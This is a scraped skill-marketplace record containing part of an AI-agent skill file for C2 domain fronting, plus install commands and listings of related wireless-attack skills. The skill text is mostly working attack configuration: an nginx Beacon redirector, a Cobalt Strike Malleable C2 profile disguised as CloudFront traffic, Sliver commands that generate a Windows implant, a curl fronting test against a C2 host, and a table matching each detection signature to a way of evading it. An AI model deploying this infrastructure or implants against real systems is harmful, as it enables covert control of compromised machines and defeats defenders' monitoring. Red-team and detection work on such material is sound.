ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002F\u003CC2_ORIGIN>\u002Fprivkey.pem;\n\n    # Proxy Beacon traffic to teamserver\n    location \u002Fs\u002Fref {\n        proxy_pass https:\u002F\u002F127.0.0.1:8443;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n        proxy_ssl_verify off;\n    }\n\n    location \u002Fgp\u002Fproduct {\n        proxy_pass https:\u002F\u002F127.0.0.1:8443;\n        proxy_set_header Host $host;\n        proxy_ssl_verify off;\n    }\n\n    # Return legitimate content for other paths (categorization)\n    location \u002F {\n        root \u002Fvar\u002Fwww\u002Fhtml;\n        index index.html;\n    }\n}\n```\n\n## 6. Cobalt Strike Integration\n\n### Malleable C2 Profile for Domain Fronting\n```\n# \u002Fworkspace\u002Fprofiles\u002Ffronting.profile\n\nset sample_name \"CDN Fronting Profile\";\nset sleeptime \"60000\";\nset jitter    \"40\";\nset useragent \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\";\nset host_stage \"false\";\n\nhttps-certificate {\n    # Use the CDN's certificate — no custom cert needed\n    # The CDN terminates TLS; origin connection is separate\n    set CN \"*.cloudfront.net\";\n    set O  \"Amazon\";\n    set C  \"US\";\n}\n\nhttp-get {\n    set uri \"\u002Fs\u002Fref=nb_sb_noss_2\";\n\n    client {\n        header \"Accept\" \"*\u002F*\";\n        header \"Accept-Language\" \"en-US,en;q=0.5\";\n        # This is the critical header — CDN routes by it\n        header \"Host\" \"\u003CC2_DISTRIBUTION>.cloudfront.net\";\n\n        metadata {\n            base64url;\n            header \"Cookie\";\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"text\u002Fhtml; charset=utf-8\";\n        header \"Server\" \"CloudFront\";\n        header \"X-Cache\" \"Hit from cloudfront\";\n\n        output {\n            netbios;\n            prepend \"\u003C!DOCTYPE html>\u003Chtml>\u003Cbody>\";\n            append \"\u003C\u002Fbody>\u003C\u002Fhtml>\";\n            print;\n        }\n    }\n}\n\nhttp-post {\n    set uri \"\u002Fapi\u002Fv2\u002Fsubmit\";\n\n    client {\n        header \"Content-Type\" \"application\u002Fjson\";\n        header \"Host\" \"\u003CC2_DISTRIBUTION>.cloudfront.net\";\n\n        id {\n            base64url;\n            header \"X-Request-Id\";\n        }\n\n        output {\n            base64url;\n            print;\n        }\n    }\n\n    server {\n        header \"Content-Type\" \"application\u002Fjson\";\n\n        output {\n            netbios;\n            prepend \"{\\\"status\\\":\\\"ok\\\",\\\"payload\\\":\\\"\";\n            append \"\\\"}\";\n            print;\n        }\n    }\n}\n```\n\n### Beacon Configuration\n```\n# In Cobalt Strike listener config:\n# HTTPS Host (stager):  \u003CFRONTABLE_DOMAIN>\n# HTTPS Host (post):    \u003CFRONTABLE_DOMAIN>\n# HTTPS Port:           443\n# Profile:              fronting.profile (loaded at teamserver start)\n#\n# The listener binds on the teamserver; the CDN proxies traffic to it.\n# The Beacon connects to \u003CFRONTABLE_DOMAIN>:443 (CDN edge).\n# The Host header routes to \u003CC2_DISTRIBUTION>.cloudfront.net -> C2 origin.\n```\n\n## 7. Sliver Integration\n\n### Sliver HTTPS with Domain Fronting\n```bash\n# In Sliver console:\n\n# 1. Start HTTPS listener on C2 origin\nhttps --lhost 0.0.0.0 --lport 443 --domain \u003CC2_ORIGIN>\n\n# 2. Generate implant that connects to frontable domain\ngenerate beacon --https \u003CFRONTABLE_DOMAIN> --os windows --arch amd64 \\\n  --seconds 60 --jitter 40 --skip-symbols \\\n  --save \u002Fworkspace\u002Fexploit\u002F\n\n# 3. Custom HTTP C2 profile for fronting\n# Save as profiles\u002Ffronting.json\n```\n\n### Sliver HTTP C2 Profile for Fronting\n```json\n{\n  \"implant_config\": {\n    \"user_agent\": \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64)\",\n    \"url_parameters\": [],\n    \"headers\": [\n      {\"name\": \"Host\", \"value\": \"\u003CC2_DISTRIBUTION>.cloudfront.net\", \"probability\": 100},\n      {\"name\": \"Accept\", \"value\": \"text\u002Fhtml\", \"probability\": 100}\n    ]\n  },\n  \"server_config\": {\n    \"headers\": [\n      {\"name\": \"Content-Type\", \"value\": \"text\u002Fhtml; charset=utf-8\", \"probability\": 100},\n      {\"name\": \"Server\", \"value\": \"CloudFront\", \"probability\": 100},\n      {\"name\": \"X-Cache\", \"value\": \"Hit from cloudfront\", \"probability\": 100}\n    ]\n  }\n}\n```\n\n## 8. TLS SNI vs Host Header\n\n```\nTLS ClientHello (visible):  SNI = allowed-site.cloudfront.net\nHTTP Request (encrypted):   Host: c2-dist.cloudfront.net  ← CDN routes by THIS\n```\n\n| Failure Mode | Cause | Fix |\n|-------------|-------|-----|\n| HTTP 403 | CDN validates SNI == Host | Try alternate CDN or redirector |\n| TLS error | SNI domain not on CDN | Verify domain resolves to CDN edge |\n| HTTP 421 | HTTP\u002F2 ORIGIN frame validation | Fall back to HTTP\u002F1.1 |\n| 502\u002F504 | CDN can't reach C2 origin | Whitelist CDN IP ranges on origin firewall |\n\n**ECH\u002FESNI:** Encrypted Client Hello encrypts the SNI field entirely — eliminates the need for fronting when CDN supports it. Test: `curl -v --ech true https:\u002F\u002F\u003CC2>\u002Fbeacon`\n## Detection Signatures\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| SNI\u002FHost mismatch | TLS SNI differs from HTTP Host header | Use CDN domains from same organization |\n| CDN origin pull | Unusual origin IP in CDN access logs | Use cloud VM as origin; rotate IPs |\n| JA3 fingerprint | TLS fingerprint doesn't match expected browser | Match JA3 to target browser version |\n| Beacon timing | Regular HTTPS requests to CDN at fixed intervals | High jitter (50%+); randomize URI paths |\n| HTTP\u002F2 ORIGIN | CDN pushes ORIGIN frame revealing allowed hosts | Fall back to HTTP\u002F1.1 in profile |\n| Response size anomaly | C2 responses differ from legitimate content | Pad responses; prepend\u002Fappend real HTML |\n| Certificate transparency | CT logs reveal C2 distribution domain | Use existing CDN distributions |\n\n## Error Handling & Edge Cases\n\n| Issue | Symptom | Resolution |\n|-------|---------|------------|\n| CDN blocks fronting | HTTP 403 on every request | Switch CDN provider or use CDN redirector pattern |\n| DNS resolution fails | Frontable domain doesn't resolve | Verify domain is active; check DNS propagation |\n| Origin connection refused | CDN can't reach C2 backend | Ensure C2 server allows CDN IP ranges in firewall |\n| TLS version mismatch | Handshake failure | Match CDN's minimum TLS version (usually 1.2+) |\n| Rate limiting | CDN rate-limits requests from same IP | Increase sleep; distribute across edge POPs |\n| HTTP\u002F2 enforcement | CDN upgrades to HTTP\u002F2; breaks fronting | Force HTTP\u002F1.1 in profile or use h2 with correct ORIGIN |\n| CDN caching | Stale C2 responses served from cache | Set `Cache-Control: no-store`; TTL=0 in CDN config |\n| Provider policy change | Fronting stops working without warning | Monitor; maintain fallback C2 channel (DNS, alt CDN) |\n\n## Decision Gate\n\n```\nIs domain fronting viable for this engagement?\n├── Test: curl -H \"Host: \u003CC2>.cloudfront.net\" https:\u002F\u002F\u003CFRONT_DOMAIN>\u002F\n│   ├── HTTP 200 from C2 origin → Fronting works\n│   │   ├── CloudFront available → Use CloudFront + Malleable C2 profile\n│   │   ├── Azure CDN available → Use azureedge.net fronting\n│   │   └── Fastly available → Use Fastly global SSL fronting\n│   ├── HTTP 403 → CDN enforces SNI\u002FHost match\n│   │   ├── CDN redirector pattern (Cloudflare Worker, Lambda@Edge)\n│   │   ├── Same-distribution fronting (multiple CNAMEs)\n│   │   └── Try alternate CDN provider\n│   └── Connection error → Domain not on CDN\n│       └── Use CDN redirector or direct HTTPS with categorized domain\n├── ECH\u002FESNI available on target CDN?\n│   ├── YES → ECH eliminates need for fronting; SNI is encrypted\n│   └── NO  → Standard fronting or redirector required\n└── Fallback strategy\n    ├── Primary: Domain fronting via CDN\n    ├── Secondary: CDN Worker\u002FFunction redirector\n    └── Tertiary: Alternative C2 channel (see c2-alternative-channels)\n```\n\n## Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| Cobalt Strike | Malleable C2 profiles with fronting support | https:\u002F\u002Fwww.cobaltstrike.com\u002F |\n| Sliver | Open-source C2 with HTTP profile customization | https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver |\n| FindFrontableDomains | Discover CDN-hosted domains for fronting | https:\u002F\u002Fgithub.com\u002Frvrsh3ll\u002FFindFrontableDomains |\n| DomainHunter | Expired domain finder with categorization | https:\u002F\u002Fgithub.com\u002Fthreatexpress\u002Fdomainhunter |\n| Meek (Tor) | Domain fronting transport plugin | https:\u002F\u002Ftrac.torproject.org\u002Fprojects\u002Ftor\u002Fwiki\u002Fdoc\u002Fmeek |\n| Cloudflare Workers | Edge function C2 redirector | https:\u002F\u002Fworkers.cloudflare.com\u002F |\n| mod_rewrite | Apache redirector rules | https:\u002F\u002Fgithub.com\u002Fthreatexpress\u002Fcs2modrewrite |\n| RedWarden | C2 traffic inspection\u002Ffiltering proxy | https:\u002F\u002Fgithub.com\u002Fmgeeky\u002FRedWarden |\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"c2, domain-fronting, cdn, cloudfront, azure-cdn, fastly, sni, redirector, opsec","command-and-control","domain fronting, CDN c2, cloudfront c2, azure cdn, fastly, SNI mismatch, cdn redirector, fronting profile","T1090.004, T1102.002, T1001","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-domain-fronting",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill c2-domain-fronting",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill c2-domain-fronting",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill c2-domain-fronting","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-domain-fronting\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]